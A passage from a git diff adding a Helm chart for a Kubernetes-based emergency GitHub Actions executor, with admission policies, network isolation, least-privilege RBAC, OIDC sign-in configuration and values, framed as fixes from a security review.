+ validations: + - expression: >- + request.namespace == '{{ $ns }}' && + 'pod-security.kubernetes.io/enforce' in namespaceObject.metadata.labels && + namespaceObject.metadata.labels['pod-security.kubernetes.io/enforce'] == 'restricted' && + '{{ .Values.clusterChecks.dedicatedLabel }}' in namespaceObject.metadata.labels && + namespaceObject.metadata.labels['{{ .Values.clusterChecks.dedicatedLabel }}'] == 'true' + message: "runner Jobs run only in the dedicated namespace {{ $ns }}, labelled pod-security.kubernetes.io/enforce=restricted and {{ .Values.clusterChecks.dedicatedLabel }}=true" + reason: Forbidden + - expression: >- + size(variables.pod.containers) == 1 && variables.c.name == 'runner' && + (!has(variables.pod.initContainers) || size(variables.pod.initContainers) == 0) && + (!has(variables.pod.ephemeralContainers) || size(variables.pod.ephemeralContainers) == 0) + message: "exactly one container, named runner: no sidecars, init containers or ephemeral containers" + reason: Forbidden + - expression: "variables.c.image == '{{ $image }}' && has(variables.c.imagePullPolicy) && variables.c.imagePullPolicy == 'IfNotPresent'" + message: "the only image allowed is the runner image by digest, {{ $image }}, with imagePullPolicy IfNotPresent" + reason: Forbidden + - expression: >- + (variables.isExecution || variables.isCanary) && + (!has(variables.c.args) || size(variables.c.args) == 0) && + !has(variables.c.lifecycle) && !has(variables.c.livenessProbe) && !has(variables.c.readinessProbe) && !has(variables.c.startupProbe) && + !has(variables.c.ports) && !has(variables.c.volumeDevices) && !has(variables.c.restartPolicy) + message: "the container runs only the runner or the network canary: no other command, arguments, hooks, probes or ports" + reason: Forbidden + - expression: >- + !(has(variables.pod.hostNetwork) && variables.pod.hostNetwork) && + !(has(variables.pod.hostPID) && variables.pod.hostPID) && + !(has(variables.pod.hostIPC) && variables.pod.hostIPC) && + !(has(variables.pod.shareProcessNamespace) && variables.pod.shareProcessNamespace) + message: "no host network, PID or IPC namespace, and no shared process namespace" + reason: Forbidden + - expression: >- + variables.pod.serviceAccountName == '{{ $full }}-runner' && + has(variables.pod.automountServiceAccountToken) && variables.pod.automountServiceAccountToken == false + message: "the runner service account ({{ $full }}-runner) without its token: automountServiceAccountToken must be false" + reason: Forbidden + - expression: >- + has(variables.pod.securityContext) && + has(variables.pod.securityContext.runAsNonRoot) && variables.pod.securityContext.runAsNonRoot == true && + has(variables.pod.securityContext.runAsUser) && variables.pod.securityContext.runAsUser != 0 && + (!has(variables.pod.securityContext.runAsGroup) || variables.pod.securityContext.runAsGroup != 0) && + (!has(variables.pod.securityContext.fsGroup) || variables.pod.securityContext.fsGroup != 0) && + has(variables.pod.securityContext.seccompProfile) && variables.pod.securityContext.seccompProfile.type == 'RuntimeDefault' && + !has(variables.pod.securityContext.sysctls) && !has(variables.pod.securityContext.seLinuxOptions) && + !has(variables.pod.securityContext.windowsOptions) && + (!has(variables.pod.securityContext.appArmorProfile) || variables.pod.securityContext.appArmorProfile.type == 'RuntimeDefault') + message: "the pod securityContext must run as non-root (runAsNonRoot, a non-zero runAsUser) with RuntimeDefault seccomp, and set no sysctls, SELinux, Windows or AppArmor overrides" + reason: Forbidden + - expression: >- + has(variables.c.securityContext) && + has(variables.c.securityContext.allowPrivilegeEscalation) && variables.c.securityContext.allowPrivilegeEscalation == false && + !(has(variables.c.securityContext.privileged) && variables.c.securityContext.privileged) && + has(variables.c.securityContext.readOnlyRootFilesystem) && variables.c.securityContext.readOnlyRootFilesystem == true && + (!has(variables.c.securityContext.runAsNonRoot) || variables.c.securityContext.runAsNonRoot == true) && + (!has(variables.c.securityContext.runAsUser) || variables.c.securityContext.runAsUser != 0) && + (!has(variables.c.securityContext.runAsGroup) || variables.c.securityContext.runAsGroup != 0) && + has(variables.c.securityContext.capabilities) && has(variables.c.securityContext.capabilities.drop) && + 'ALL' in variables.c.securityContext.capabilities.drop && + (!has(variables.c.securityContext.capabilities.add) || size(variables.c.securityContext.capabilities.add) == 0) && + (!has(variables.c.securityContext.procMount) || variables.c.securityContext.procMount == 'Default') && + (!has(variables.c.securityContext.seccompProfile) || variables.c.securityContext.seccompProfile.type == 'RuntimeDefault') && + !has(variables.c.securityContext.seLinuxOptions) && !has(variables.c.securityContext.windowsOptions) && + (!has(variables.c.securityContext.appArmorProfile) || variables.c.securityContext.appArmorProfile.type == 'RuntimeDefault') + message: "the container must not be privileged or escalate privileges, must have a read-only root filesystem, drop ALL capabilities and add none, and run as non-root" + reason: Forbidden + - expression: >- + has(variables.c.resources) && has(variables.c.resources.limits) && has(variables.c.resources.requests) && + ['cpu', 'memory', 'ephemeral-storage'].all(r, r in variables.c.resources.limits) && + variables.c.resources.limits.all(r, r in ['cpu', 'memory', 'ephemeral-storage']) && + variables.c.resources.requests.all(r, r in ['cpu', 'memory', 'ephemeral-storage']) && + [variables.c.resources.limits, variables.c.resources.requests].all(q, + (!('cpu' in q) || quantity(string(q['cpu'])).compareTo(quantity('{{ .Values.runner.resources.cpu }}')) <= 0) && + (!('memory' in q) || quantity(string(q['memory'])).compareTo(quantity('{{ .Values.runner.resources.memory }}')) <= 0) && + (!('ephemeral-storage' in q) || quantity(string(q['ephemeral-storage'])).compareTo(quantity('{{ .Values.runner.resources.scratch }}')) <= 0)) + message: "cpu, memory and ephemeral-storage limits are required, and no request or limit may exceed cpu {{ .Values.runner.resources.cpu }}, memory {{ .Values.runner.resources.memory }}, ephemeral-storage {{ .Values.runner.resources.scratch }}" + reason: Forbidden + - expression: >- + variables.volumes.all(v, + (has(v.emptyDir) && (!has(v.emptyDir.medium) || v.emptyDir.medium == '') && has(v.emptyDir.sizeLimit) && + quantity(string(v.emptyDir.sizeLimit)).compareTo(quantity('{{ .Values.runner.resources.scratch }}')) <= 0) || + (variables.isExecution && v.name == 'snapshot' && has(v.persistentVolumeClaim) && + v.persistentVolumeClaim.claimName == '{{ $full }}-data' && + has(v.persistentVolumeClaim.readOnly) && v.persistentVolumeClaim.readOnly == true) || + (variables.isExecution && v.name == 'secrets' && has(v.secret) && has(v.secret.secretName) && + v.secret.secretName != '{{ include "gha-emergency.tokenSecret" . }}' && + has(v.secret.items) && size(v.secret.items) > 0 && + v.secret.items.all(i, i.path == i.key && (variables.snapshotPath + ':' + v.secret.secretName + ':' + i.key) in variables.grants))) + message: "volumes are limited to size-limited emptyDirs, the snapshot volume (read-only) and Secret keys that secretBindings give this snapshot: no hostPath, other Secrets, ConfigMaps, projected or any other volume" + reason: Forbidden + - expression: >- + variables.mounts.all(m, + !has(m.subPathExpr) && (!has(m.mountPropagation) || m.mountPropagation == 'None') && + ((m.name == 'snapshot' && m.mountPath == '/snapshot' && has(m.readOnly) && m.readOnly == true && + has(m.subPath) && m.subPath.matches('^snapshots/[0-9a-f]{64}$')) || + (m.name == 'secrets' && m.mountPath == '/secrets' && has(m.readOnly) && m.readOnly == true && !has(m.subPath)) || + (variables.volumes.exists(v, v.name == m.name && has(v.emptyDir)) && m.mountPath in ['/work', '/tmp'] && !has(m.subPath)))) + message: "volume mounts are limited to /snapshot (read-only, one snapshot directory), /secrets (read-only), /work and /tmp" + reason: Forbidden + - expression: >- + !has(variables.c.envFrom) && + variables.env.all(e, !has(e.valueFrom) && + (e.name in (variables.isExecution ? {{ toJson $execEnv }} : {{ toJson $canaryEnv }}) || + (!variables.isJob && e.name.startsWith('KUBERNETES_')))) + message: "environment variables are limited to the runner's own, with literal values: no Secret, ConfigMap or field references, and no envFrom" + reason: Forbidden + - expression: >- + variables.runnerLabelled + ? ('{{ include "gha-emergency.networkLabel" . }}' in variables.labels && variables.labels['{{ include "gha-emergency.networkLabel" . }}'] in {{ toJson $modes }}) + : (variables.isCanary && variables.volumes.all(v, has(v.emptyDir))) + message: "pods must carry the runner labels its NetworkPolicies select, with network mode {{ join " or " $modes }}; only the network canary's control pod may go without them" + reason: Forbidden + - expression: >- + variables.pod.restartPolicy == 'Never' && + !has(variables.pod.nodeName) && !has(variables.pod.runtimeClassName) && !has(variables.pod.resourceClaims) && + (!variables.isJob || (!has(variables.pod.nodeSelector) && !has(variables.pod.priorityClassName))) && + (!has(variables.pod.tolerations) || variables.pod.tolerations.all(t, + has(t.key) && t.key in ['node.kubernetes.io/not-ready', 'node.kubernetes.io/unreachable'] && + has(t.effect) && t.effect == 'NoExecute' && has(t.operator) && t.operator == 'Exists')) && + (!has(variables.pod.hostAliases) || variables.pod.hostAliases.all(h, h.ip == '127.0.0.1')) && + (!has(variables.pod.os) || variables.pod.os.name == 'linux') + message: "no restarts, node selection, tolerations (beyond the API server's defaults), runtime classes, priority classes or host aliases other than 127.0.0.1" + reason: Forbidden + - expression: "variables.jobLimits" + message: "one pod, one attempt (backoffLimit 0) and an activeDeadlineSeconds of at most {{ $deadline }}" + reason: Forbidden +--- +apiVersion: admissionregistration.k8s.io/v1 +kind: ValidatingAdmissionPolicyBinding +metadata: + name: {{ $policy }} + labels: + {{- include "gha-emergency.labels" . | nindent 4 }} +spec: + policyName: {{ $policy }} + validationActions: [Deny] + matchResources: + namespaceSelector: + matchLabels: + kubernetes.io/metadata.name: {{ $ns }} diff --git a/charts/gha-emergency/templates/auth.yaml b/charts/gha-emergency/templates/auth.yaml new file mode 100644 index 0000000..97ab8c2 --- /dev/null +++ b/charts/gha-emergency/templates/auth.yaml @@ -0,0 +1,37 @@ +{{- /* +Sign-in, sessions and approval (security review H2), read by the executor (deploy/emergency/executor/auth/config.ts, +which validates it again and refuses to start on anything invalid). +*/ -}} +{{- $o := .Values.auth.oidc }} +{{- $accounts := default (list) .Values.auth.breakGlass.accounts }} +{{- if and (not $o.issuer) (not $accounts) }} +{{- fail "Configure sign-in: auth.oidc (an OpenID Connect provider) and/or auth.breakGlass.accounts (security review H2). The shared operator token no longer authorizes the API." }} +{{- end }} +{{- if $o.issuer }} +{{- if or (not $o.clientId) (not $o.redirectUri) }}{{ fail "auth.oidc needs clientId and redirectUri" }}{{ end }} +{{- if not (hasSuffix "/api/emergency/auth/callback" $o.redirectUri) }}{{ fail "auth.oidc.redirectUri must end with /api/emergency/auth/callback" }}{{ end }} +{{- if and (not $o.allowInsecureHttp) (not (hasPrefix "https://" $o.issuer)) }}{{ fail "auth.oidc.issuer must be HTTPS" }}{{ end }} +{{- end }} +{{- range $accounts }} +{{- if not (regexMatch "^[a-z0-9][a-z0-9-]{0,62}$" (toString .name)) }}{{ fail (printf "auth.breakGlass.accounts: %v is not a lowercase name" .name) }}{{ end }} +{{- if has "administrator" (default (list) .roles) }}{{ fail (printf "auth.breakGlass.accounts: %s can't be an administrator" .name) }}{{ end }} +{{- end }} +{{- $oidc := dict }} +{{- if $o.issuer }} +{{- $oidc = dict "issuer" $o.issuer "clientId" $o.clientId "redirectUri" $o.redirectUri "scopes" $o.scopes "algorithms" $o.algorithms "label" $o.label "allowInsecureHttp" $o.allowInsecureHttp }} +{{- if $o.clientSecret.existingSecret }}{{ $_ := set $oidc "clientSecretFile" (printf "/etc/gha-emergency-oidc/%s" $o.clientSecret.key) }}{{ end }} +{{- end }} +{{- $config := dict + "sessions" .Values.auth.sessions + "initialAdministrators" (default (list) .Values.auth.initialAdministrators) + "breakGlass" (dict "accounts" $accounts "sessionMinutes" .Values.auth.breakGlass.sessionMinutes "credentialsDir" "/etc/gha-emergency") + "approval" .Values.approval }} +{{- if $oidc }}{{ $_ := set $config "oidc" $oidc }}{{ end }} +apiVersion: v1 +kind: ConfigMap +metadata: + name: {{ include "gha-emergency.fullname" . }}-auth + labels: + {{- include "gha-emergency.labels" . | nindent 4 }} +data: + auth.json: {{ toJson $config | quote }} diff --git a/charts/gha-emergency/templates/bindings.yaml b/charts/gha-emergency/templates/bindings.yaml new file mode 100644 index 0000000..bfdff85 --- /dev/null +++ b/charts/gha-emergency/templates/bindings.yaml @@ -0,0 +1,24 @@ +{{- /* +Secret bindings (security review C1), validated here and read by the executor (deploy/emergency/executor/bindings.ts, +which validates them again and fails closed). +*/ -}} +{{- $operator := include "gha-emergency.tokenSecret" . }} +{{- range $i, $b := .Values.secretBindings }} +{{- $where := printf "secretBindings[%d]" $i }} +{{- if not $b.name }}{{ fail (printf "%s: name is required" $where) }}{{ end }} +{{- if not (regexMatch "^[a-z0-9]([-a-z0-9]*[a-z0-9])?$" (toString $b.secret)) }}{{ fail (printf "%s: secret must be a Kubernetes object name" $where) }}{{ end }} +{{- if eq $b.secret $operator }}{{ fail (printf "%s: the break-glass credentials Secret %s can never be bound" $where $operator) }}{{ end }} +{{- if and $.Values.auth.oidc.clientSecret.existingSecret (eq $b.secret $.Values.auth.oidc.clientSecret.existingSecret) }}{{ fail (printf "%s: the identity provider's client secret can never be bound" $where) }}{{ end }} +{{- if not $b.keys }}{{ fail (printf "%s: keys must list the secret names it may provide" $where) }}{{ end }} +{{- range $b.keys }}{{ if not (regexMatch "^[A-Za-z_][A-Za-z0-9_]*$" (toString .)) }}{{ fail (printf "%s: invalid key %v" $where .) }}{{ end }}{{ end }} +{{- if not $b.snapshots }}{{ fail (printf "%s: snapshots must list the snapshot digests it serves" $where) }}{{ end }} +{{- range $b.snapshots }}{{ if not (regexMatch "^[0-9a-f]{64}$" (toString .)) }}{{ fail (printf "%s: %v is not a snapshot digest" $where .) }}{{ end }}{{ end }} +{{- end }} +apiVersion: v1 +kind: ConfigMap +metadata: + name: {{ include "gha-emergency.fullname" . }}-bindings + labels: + {{- include "gha-emergency.labels" . | nindent 4 }} +data: + bindings.json: {{ toJson (default (list) .Values.secretBindings) | quote }} diff --git a/charts/gha-emergency/templates/cluster-checks.yaml b/charts/gha-emergency/templates/cluster-checks.yaml new file mode 100644 index 0000000..38b2f10 --- /dev/null +++ b/charts/gha-emergency/templates/cluster-checks.yaml @@ -0,0 +1,39 @@ +{{- /* +Install-time checks against the live cluster (security review C1). This template renders nothing; it fails the +install or upgrade when the namespace is not safe for emergency execution. lookup returns nothing without a cluster +("helm template", client-side dry runs), so the checks run only when Helm can see the namespace. +*/ -}} +{{- if .Values.clusterChecks.enabled }} +{{- $ns := lookup "v1" "Namespace" "" .Release.Namespace }} +{{- if $ns }} +{{- $labels := default (dict) $ns.metadata.labels }} +{{- if not (.Capabilities.APIVersions.Has "admissionregistration.k8s.io/v1/ValidatingAdmissionPolicy") }} +{{- fail "The cluster does not serve admissionregistration.k8s.io/v1 ValidatingAdmissionPolicy (Kubernetes 1.30 or later): runner Jobs can't be constrained (security review H4)" }} +{{- end }} +{{- if ne (get $labels "pod-security.kubernetes.io/enforce") "restricted" }} +{{- fail (printf "Namespace %s must enforce Pod Security \"restricted\" (label pod-security.kubernetes.io/enforce=restricted)" .Release.Namespace) }} +{{- end }} +{{- if ne (get $labels .Values.clusterChecks.dedicatedLabel) "true" }} +{{- fail (printf "Namespace %s must be dedicated to emergency execution: label it %s=true after checking that nothing else runs or is stored there" .Release.Namespace .Values.clusterChecks.dedicatedLabel) }} +{{- end }} +{{- $operator := include "gha-emergency.tokenSecret" . }} +{{- $bound := list }} +{{- range .Values.secretBindings }}{{ $bound = append $bound .secret }}{{ end }} +{{- $secrets := lookup "v1" "Secret" .Release.Namespace "" }} +{{- $byName := dict }} +{{- range $s := (default (list) $secrets.items) }} +{{- $_ := set $byName $s.metadata.name $s }} +{{- $helmRecord := and (eq $s.type "helm.sh/release.v1") (hasPrefix (printf "sh.helm.release.v1.%s." $.Release.Name) $s.metadata.name) }} +{{- $oidcClient := $.Values.auth.oidc.clientSecret.existingSecret }} +{{- if not (or (eq $s.metadata.name $operator) (and $oidcClient (eq $s.metadata.name $oidcClient)) $helmRecord (has $s.metadata.name $bound)) }} +{{- fail (printf "Namespace %s holds Secret %s, which is neither the break-glass credentials, the identity provider's client secret, a Helm record of this release, nor bound in secretBindings. Emergency execution needs a dedicated namespace: move it, or bind it." $.Release.Namespace $s.metadata.name) }} +{{- end }} +{{- end }} +{{- range $b := .Values.secretBindings }} +{{- $s := get $byName $b.secret }} +{{- if not $s }}{{ fail (printf "Bound Secret %s does not exist in %s: create it before installing" $b.secret $.Release.Namespace) }}{{ end }} +{{- if ne $s.type "Opaque" }}{{ fail (printf "Bound Secret %s is of type %s; only Opaque Secrets can be bound" $b.secret $s.type) }}{{ end }} +{{- range $b.keys }}{{ if not (hasKey (default (dict) $s.data) .) }}{{ fail (printf "Bound Secret %s has no key %s" $b.secret .) }}{{ end }}{{ end }} +{{- end }} +{{- end }} +{{- end }} diff --git a/charts/gha-emergency/templates/executor.yaml b/charts/gha-emergency/templates/executor.yaml new file mode 100644 index 0000000..637fe33 --- /dev/null +++ b/charts/gha-emergency/templates/executor.yaml @@ -0,0 +1,175 @@ +apiVersion: apps/v1 +kind: Deployment +metadata: + name: {{ include "gha-emergency.fullname" . }}-executor + labels: + {{- include "gha-emergency.labels" . | nindent 4 }} + {{- include "gha-emergency.executorSelector" . | nindent 4 }} +spec: + replicas: 1 + # One writer for the ReadWriteOnce snapshot volume. + strategy: + type: Recreate + selector: + matchLabels: + {{- include "gha-emergency.executorSelector" . | nindent 6 }} + template: + metadata: + annotations: + gha-emergency.github-actions-ui/auth-config: {{ include (print $.Template.BasePath "/auth.yaml") . | sha256sum | trunc 16 }} + labels: + {{- include "gha-emergency.labels" . | nindent 8 }} + {{- include "gha-emergency.executorSelector" . | nindent 8 }} + spec: + serviceAccountName: {{ include "gha-emergency.fullname" . }}-executor + # The executor calls the Kubernetes API (Jobs, pods, logs) with this token. + automountServiceAccountToken: true + enableServiceLinks: false + securityContext: + runAsNonRoot: true + runAsUser: 1000 + runAsGroup: 1000 + fsGroup: 1000 + seccompProfile: + type: RuntimeDefault + containers: + - name: executor + image: "{{ .Values.executor.image.repository }}:{{ .Values.executor.image.tag }}" + imagePullPolicy: {{ .Values.executor.image.pullPolicy }} + securityContext: + allowPrivilegeEscalation: false + readOnlyRootFilesystem: true + runAsNonRoot: true + capabilities: + drop: ["ALL"] + env: + - name: PORT + value: "8080" + {{- with .Values.basePath }} + - name: GHA_UI_BASE_PATH + value: {{ . | quote }} + {{- end }} + - name: GHA_EMERGENCY_DATA_DIR + value: /data + # Security review H2: sign-in, sessions and approval (auth.yaml). + - name: GHA_EMERGENCY_AUTH_FILE + value: /etc/gha-emergency-auth/auth.json + - name: GHA_EMERGENCY_RUNNER_IMAGE + value: {{ include "gha-emergency.runnerImage" . | quote }} + # Security review H4: the policy whose enforcement the executor proves before running anything. + - name: GHA_EMERGENCY_ADMISSION_POLICY + value: {{ include "gha-emergency.admissionPolicy" . | quote }} + - name: GHA_EMERGENCY_PVC + value: {{ include "gha-emergency.fullname" . }}-data + - name: GHA_EMERGENCY_RUNNER_SERVICE_ACCOUNT + value: {{ include "gha-emergency.fullname" . }}-runner + - name: GHA_EMERGENCY_EXECUTOR_POD_LABELS + value: {{ include "gha-emergency.executorSelector" . | fromYaml | toJson | quote }} + - name: GHA_EMERGENCY_RUNNER_CPU + value: {{ .Values.runner.resources.cpu | quote }} + - name: GHA_EMERGENCY_RUNNER_MEMORY + value: {{ .Values.runner.resources.memory | quote }} + - name: GHA_EMERGENCY_RUNNER_SCRATCH + value: {{ .Values.runner.resources.scratch | quote }} + - name: GHA_EMERGENCY_MAX_MINUTES + value: {{ .Values.runner.maxMinutes | quote }} + - name: GHA_EMERGENCY_MAX_CONCURRENT + value: {{ .Values.runner.maxConcurrent | quote }} + - name: GHA_EMERGENCY_JOB_TTL_SECONDS + value: {{ .Values.runner.ttlSecondsAfterFinished | quote }} + # Security review C1: bindings, and the one Secret that can never be bound. + - name: GHA_EMERGENCY_BINDINGS_FILE + value: /etc/gha-emergency-bindings/bindings.json + - name: GHA_EMERGENCY_OPERATOR_SECRET + value: {{ include "gha-emergency.tokenSecret" . }} + # Security review C2: the network canary and egress mode. + - name: GHA_EMERGENCY_ALLOW_EGRESS + value: {{ .Values.network.allowEgressMode | quote }} + - name: GHA_EMERGENCY_SERVICE + value: "{{ include "gha-emergency.fullname" . }}.{{ .Release.Namespace }}.svc:{{ .Values.service.port }}" + - name: GHA_EMERGENCY_CANARY_EXTERNAL + value: {{ .Values.network.canary.externalTarget | quote }} + - name: GHA_EMERGENCY_CANARY_METADATA + value: {{ .Values.network.canary.metadataTarget | quote }} + - name: GHA_EMERGENCY_NETWORK_CHECK_MAX_AGE_SECONDS + value: {{ .Values.network.canary.maxAgeSeconds | quote }} + ports: + - name: http + containerPort: 8080 + readinessProbe: + httpGet: + path: /healthz + port: http + periodSeconds: 10 + livenessProbe: + httpGet: + path: /healthz + port: http + periodSeconds: 20 + resources: + {{- toYaml .Values.executor.resources | nindent 12 }} + volumeMounts: + - name: data + mountPath: /data + - name: operator-token + mountPath: /etc/gha-emergency + readOnly: true + - name: bindings + mountPath: /etc/gha-emergency-bindings + readOnly: true + - name: auth + mountPath: /etc/gha-emergency-auth + readOnly: true + {{- if .Values.auth.oidc.clientSecret.existingSecret }} + - name: oidc-client + mountPath: /etc/gha-emergency-oidc + readOnly: true + {{- end }} + volumes: + - name: data + persistentVolumeClaim: + claimName: {{ include "gha-emergency.fullname" . }}-data + - name: operator-token + secret: + secretName: {{ include "gha-emergency.tokenSecret" . }} + defaultMode: 0440 + - name: bindings + configMap: + name: {{ include "gha-emergency.fullname" . }}-bindings + - name: auth + configMap: + name: {{ include "gha-emergency.fullname" . }}-auth + {{- with .Values.auth.oidc.clientSecret }} + {{- if .existingSecret }} + - name: oidc-client + secret: + secretName: {{ .existingSecret }} + defaultMode: 0440 + items: + - key: {{ .key }} + path: {{ .key }} + {{- end }} + {{- end }} + {{- with .Values.nodeSelector }} + nodeSelector: + {{- toYaml . | nindent 8 }} + {{- end }} + {{- with .Values.tolerations }} + tolerations: + {{- toYaml . | nindent 8 }} + {{- end }} +--- +apiVersion: v1 +kind: Service +metadata: + name: {{ include "gha-emergency.fullname" . }} + labels: + {{- include "gha-emergency.labels" . | nindent 4 }} +spec: + type: ClusterIP + selector: + {{- include "gha-emergency.executorSelector" . | nindent 4 }} + ports: + - name: http + port: {{ .Values.service.port }} + targetPort: http diff --git a/charts/gha-emergency/templates/networkpolicy.yaml b/charts/gha-emergency/templates/networkpolicy.yaml new file mode 100644 index 0000000..09536c7 --- /dev/null +++ b/charts/gha-emergency/templates/networkpolicy.yaml @@ -0,0 +1,80 @@ +# Network isolation (security review C2). Always rendered: isolation is not optional. Policies only take effect where +# the network plugin enforces them; the executor's canary proves that before running isolated executions. +# +# Baseline: every runner pod (executions and canary probes, in any network mode) has no ingress and no egress. +apiVersion: networking.k8s.io/v1 +kind: NetworkPolicy +metadata: + name: {{ include "gha-emergency.fullname" . }}-runner-deny-all + labels: + {{- include "gha-emergency.labels" . | nindent 4 }} +spec: + podSelector: + matchLabels: + app.kubernetes.io/name: gha-emergency-runner + app.kubernetes.io/managed-by: gha-emergency-executor + policyTypes: ["Ingress", "Egress"] +{{- if .Values.network.allowEgressMode }} +--- +# Egress mode (opt-in, NOT isolated): public addresses and cluster DNS only. Private, link-local and metadata ranges, +# and with them the Kubernetes API server, nodes and in-cluster services, stay unreachable. +apiVersion: networking.k8s.io/v1 +kind: NetworkPolicy +metadata: + name: {{ include "gha-emergency.fullname" . }}-runner-egress + labels: + {{- include "gha-emergency.labels" . | nindent 4 }} +spec: + podSelector: + matchLabels: + app.kubernetes.io/name: gha-emergency-runner + app.kubernetes.io/managed-by: gha-emergency-executor + gha-emergency.github-actions-ui/network: egress + policyTypes: ["Egress"] + egress: + - to: + - ipBlock: + cidr: 0.0.0.0/0 + except: + {{- toYaml .Values.network.egressExcludeCIDRs | nindent 14 }} + - to: + - namespaceSelector: + matchLabels: + kubernetes.io/metadata.name: kube-system + podSelector: + matchLabels: + k8s-app: kube-dns + ports: + - port: 53 + protocol: UDP + - port: 53 + protocol: TCP +{{- end }} +--- +# Executor: its HTTP port in, the Kubernetes API (and DNS) out. +apiVersion: networking.k8s.io/v1 +kind: NetworkPolicy +metadata: + name: {{ include "gha-emergency.fullname" . }}-executor + labels: + {{- include "gha-emergency.labels" . | nindent 4 }} +spec: + podSelector: + matchLabels: + {{- include "gha-emergency.executorSelector" . | nindent 6 }} + policyTypes: ["Ingress", "Egress"] + ingress: + - ports: + - port: 8080 + protocol: TCP + egress: + - ports: + {{- range .Values.network.apiServerPorts }} + - port: {{ . }} + protocol: TCP + {{- end }} + - ports: + - port: 53 + protocol: UDP + - port: 53 + protocol: TCP diff --git a/charts/gha-emergency/templates/rbac.yaml b/charts/gha-emergency/templates/rbac.yaml new file mode 100644 index 0000000..b1b19ed --- /dev/null +++ b/charts/gha-emergency/templates/rbac.yaml @@ -0,0 +1,36 @@ +# Least privilege for the executor: create and manage the runner Jobs and read their pods, logs and events (why a +# pod can't start), in this namespace only. No access to Secrets, ConfigMaps or any other resource. +apiVersion: rbac.authorization.k8s.io/v1 +kind: Role +metadata: + name: {{ include "gha-emergency.fullname" . }}-executor + labels: + {{- include "gha-emergency.labels" . | nindent 4 }} +rules: + - apiGroups: ["batch"] + resources: ["jobs"] + verbs: ["create", "get", "delete"] + - apiGroups: [""] + resources: ["pods"] + verbs: ["list"] + - apiGroups: [""] + resources: ["pods/log"] + verbs: ["get"] + - apiGroups: [""] + resources: ["events"] + verbs: ["list"] +--- +apiVersion: rbac.authorization.k8s.io/v1 +kind: RoleBinding +metadata: + name: {{ include "gha-emergency.fullname" . }}-executor + labels: + {{- include "gha-emergency.labels" . | nindent 4 }} +roleRef: + apiGroup: rbac.authorization.k8s.io + kind: Role + name: {{ include "gha-emergency.fullname" . }}-executor +subjects: + - kind: ServiceAccount + name: {{ include "gha-emergency.fullname" . }}-executor + namespace: {{ .Release.Namespace }} diff --git a/charts/gha-emergency/templates/serviceaccounts.yaml b/charts/gha-emergency/templates/serviceaccounts.yaml new file mode 100644 index 0000000..1ff9cdc --- /dev/null +++ b/charts/gha-emergency/templates/serviceaccounts.yaml @@ -0,0 +1,18 @@ +# The executor's account: bound to the Role in rbac.yaml (Jobs and their pods and logs, in this namespace only). +apiVersion: v1 +kind: ServiceAccount +metadata: + name: {{ include "gha-emergency.fullname" . }}-executor + labels: + {{- include "gha-emergency.labels" . | nindent 4 }} +automountServiceAccountToken: false +--- +# The runner's account: no role bindings, and its token is never mounted (job-spec.ts sets +# automountServiceAccountToken: false), so emergency workloads have no Kubernetes API access. +apiVersion: v1 +kind: ServiceAccount +metadata: + name: {{ include "gha-emergency.fullname" . }}-runner + labels: + {{- include "gha-emergency.labels" . | nindent 4 }} +automountServiceAccountToken: false diff --git a/charts/gha-emergency/templates/storage.yaml b/charts/gha-emergency/templates/storage.yaml new file mode 100644 index 0000000..9c09383 --- /dev/null +++ b/charts/gha-emergency/templates/storage.yaml @@ -0,0 +1,44 @@ +apiVersion: v1 +kind: PersistentVolumeClaim +metadata: + name: {{ include "gha-emergency.fullname" . }}-data + labels: + {{- include "gha-emergency.labels" . | nindent 4 }} + annotations: + # Snapshots survive uninstall; delete the claim explicitly to remove them. + helm.sh/resource-policy: keep +spec: + accessModes: ["ReadWriteOnce"] + {{- with .Values.persistence.storageClassName }} + storageClassName: {{ . }} + {{- end }} + resources: + requests: + storage: {{ .Values.persistence.size }} +{{- if not .Values.operatorToken.existingSecret }} +--- +# Break-glass credentials (security review H2; formerly the shared operator token): one generated key per account in +# auth.breakGlass.accounts. Generated once and kept across upgrades (lookup), with any key already there (such as the +# old operator token, which grants nothing unless an account of that name is configured), and on uninstall +# (resource-policy keep). +{{- $name := include "gha-emergency.tokenSecret" . }} +{{- $existing := lookup "v1" "Secret" .Release.Namespace $name }} +{{- $data := dict }} +{{- if $existing }}{{ $data = deepCopy (default (dict) $existing.data) }}{{ end }} +{{- range (default (list) .Values.auth.breakGlass.accounts) }} +{{- if not (hasKey $data .name) }}{{ $_ := set $data .name (randAlphaNum 48 | b64enc) }}{{ end }} +{{- end }} +apiVersion: v1 +kind: Secret +metadata: + name: {{ $name }} + labels: + {{- include "gha-emergency.labels" . | nindent 4 }} + annotations: + helm.sh/resource-policy: keep +type: Opaque +data: + {{- range $k, $v := $data }} + {{ $k }}: {{ $v }} + {{- end }} +{{- end }} diff --git a/charts/gha-emergency/values.yaml b/charts/gha-emergency/values.yaml new file mode 100644 index 0000000..09c7644 --- /dev/null +++ b/charts/gha-emergency/values.yaml @@ -0,0 +1,144 @@ +# Values for emergency execution (charts/gha-emergency/README.md, docs/EMERGENCY_EXECUTION.md). +# The executor serves the UI and the emergency API, stores snapshots on its volume, and creates one Job per execution. +# It talks only to the Kubernetes API (never to GitHub) and can't read Secrets. + +executor: + image: + repository: localhost/gha-emergency-executor + tag: local + pullPolicy: IfNotPresent + resources: + requests: { cpu: 50m, memory: 128Mi } + limits: { cpu: 500m, memory: 512Mi } + +runner: + image: + repository: localhost/gha-emergency-runner + # Required (security review H4): the image's digest as the cluster's nodes know it, e.g. sha256:4f1c... Runner + # Jobs refer to repository@digest, and the admission policy admits no other image, so a tag that later points at + # different content can't be run. The pull policy is IfNotPresent, also pinned by the policy. + digest: "" + # Limits for each execution's pod. + resources: + cpu: "1" + memory: 1Gi + # Working space for job workspaces (emptyDir sizeLimit and ephemeral-storage limit). + scratch: 2Gi + # Upper bound for any job or step timeout, and the Job's deadline (plus two minutes). + maxMinutes: 60 + maxConcurrent: 2 + # Finished Jobs are deleted after this; the executor archives their logs first when it sees them finish. + ttlSecondsAfterFinished: 86400 + +# Snapshot storage. ReadWriteOnce: runner pods are scheduled on the executor's node to mount it read-only. +persistence: + size: 5Gi + storageClassName: "" + +# Sign-in, roles and approval (security review H2). Every user has their own identity from an OpenID Connect +# provider; the executor runs the sign-in itself (authorization code with PKCE) and keeps server-side sessions in +# HttpOnly cookies. Roles (viewer, operator, approver, administrator) are assigned by administrators in the emergency +# view and stored by the executor; they are never taken from the provider's tokens. The provider must not depend on +# GitHub (it has to work during a GitHub outage) and must be reachable from the executor on port 443. +auth: + oidc: + # e.g. https://login.microsoftonline.com//v2.0 or https://.okta.com + issuer: "" + clientId: "" + 